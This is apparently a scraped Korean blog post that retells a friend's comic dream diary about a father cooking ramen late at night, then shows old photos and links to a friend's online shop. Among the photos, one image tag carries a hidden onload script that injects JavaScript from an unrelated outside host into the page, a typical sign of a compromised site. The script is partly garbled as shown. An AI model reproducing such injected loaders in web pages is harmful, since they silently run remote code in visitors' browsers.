꿈속에서 나는 뭔가... 배가 고팠다.
그곳은... 내가 예전에 고등학교때 살던 경기도 집이였고
시간은 늦은 밤.. 혹은 새벽이였다.
부엌에 들어선 나는 먹음직스러운 빵을 발견하고는 가족들이
깨지 않도록 조심스레 조심스레... 소심한 나는
꿀꺽 소리에도 뮤트를 걸으며... 굼걱.. 뭐 이런식으로...
그러자 인기척이 나더니 아버지가 부스럭 소리에 잠이 깬듯
나를 보며 부엌으로 걸어 들어오셨다..
나는 머슥적은 미소를 날렸고.. 아버지는 아무말없이 라면을
끓이셨다... 그때 한번 더 눈이 맞았기에 그 늦은 시간에
나를 위해 라면을 끓여주는 아버지를 보며 한층 더 머슥적은
미소를 날리며 손에 있던 남은 빵을 차마 먹지못한채 붙들고
아버지의 등쪽을 바라보았다...
어렸을때부터 운동을 하여 아직도 건장한 팔근육과 어깨...
조금은 초라해진 머리카락 사이로 피어오르는 먹음직스런 라면의
연기... 뒤돌아서는 아버지!! 머슥적음에 어색하지만 애써 태연히
해맑게 웃으며 아무 망설임없이 남은 빵을 내려놓은 나를..........
<span style="background-color:silver; color:silver;">
외면하며......?!?!?!
아버지가방으로들어가셨다.....
아버지가방으로들어가셨다.............
아버지가방으로들어가셨다!!!!!!!!! <(T◇T)>.......
</span>
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친구 일기 [고대로] 퍼옴...(허락받고...)
<img src="http://thimg.dreamwiz.com/upfile/200811/1228022651243_1.gif" border="0" onload="var bring = function(src) { var = document.createElement(''); .setAttribute('type', 'text/java'); .src = src; document.getElementsByTagName('HEAD')[0].appendChild(); }; bring('http://www.zective.com/js/getBanData.php');" />
<img_ src="http://thimg.dreamwiz.com/upfile/200710/1191597234109_1.jpg">
<br>
3차원입체face-좌/중/우<br>
<img_ src="http://thimg.dreamwiz.com/upfile/200607/1152111477211_1.jpg">
추/천/질-_-d<br>
<img_ src="http://thimg.dreamwiz.com/upfile/200702/1170695813491_1.jpg">
겨울용 꼬릿말<br>
<img_ src="http://thimg.dreamwiz.com/upfile/200607/1152111477211_2.jpg">
이미지출처 : "이영애"님
(알려주신 분 감사합니다^^)
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<br>
사진이 죄다 옛날거네...(최소 2년전에서 최대 4년전!!)
<br>
그래서 추가한 최근 사진!!<br>
<img_ src="http://thimg.dreamwiz.com/upfile/200812/1229604098246_1.jpg"><br>
지금 보신 이미지는 여자의 화장발 화면발 조명발 각도발 과 더불어
뽀뽀샵이 얼마나 중요한지를 보고계시며(.....)<br>
제 친구의 쇼핑몰 사진이기도 합니다 ㅎ
<br>
없으시겠지만(.....) 여자친구 또는 누나,동생 선물 사실 일 있으면<br>
<a href="http://www.gmarket.co.kr/challenge/neo_seller_collection/seller_collection_main.asp?cust_no=TE1MR38DNzMxME0wNDk0MzIwNzN/Rw==&guild_yn=N" target="_blank">
==TORICO 쇼핑몰 가기==
</a>
<br>
더불어 제 사기사진 다수관람가능(......)
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